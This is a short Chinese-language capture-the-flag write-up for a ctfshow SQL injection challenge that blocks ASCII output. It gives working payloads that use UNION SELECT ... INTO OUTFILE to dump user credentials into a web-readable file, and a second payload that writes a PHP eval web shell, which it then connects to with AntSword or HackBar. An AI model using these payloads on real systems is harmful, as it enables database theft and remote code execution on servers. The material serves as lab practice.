在这段代码可以看出这个返回逻辑拒绝了所有的ASCII 字符的回显,所以说一般的通过查询来让他回显的方法是不通用的。
在这里我做的时候有点懵,那这个该怎么做呢,也有写脚本的,蛋对于我这种更改学了几个月的新手来说有点太难理解了,然后我看来下其他大佬的wp,我发现我们可以不在这个页面上访问到我们的flag,可以通过我们的查询,吧我们查询到的内容写到一个知道的目录下,然后我就找到了这个。(这个是我借的一个大佬的图,具体在哪的有点忘记了,如果出现对作者不好的影响的话,请佬体谅一下,我知道了会删除)
然后我们知道了这个路径的话就可以在这里进行相关的文章操作了,在这里我找到了两种方法,首先就是我们的吧flag写到另外一个文件里面去,然后访问这个文件
代码:union select username, password from ctfshow_user5 into outfile '/var/www/html/flag.txt' %23
然后直接在后面查询flag.txt
然后第二个方法其实也是大同小异,就这次我们不写flag,而是写一段木马上传。
代码:-1' union select 1,"<?php eval($_POST[1]);?>" into outfile'/var/www/html/1.php
随后还是访问这个文件
发现植入成功,然后我们蚁剑来连接
然后连接木马的方式还可以这样使用hackbar的post传参,然后一步一步得到flag
这个就是我这道题的具体的写法,有一些细节的问题还是请各位佬海量。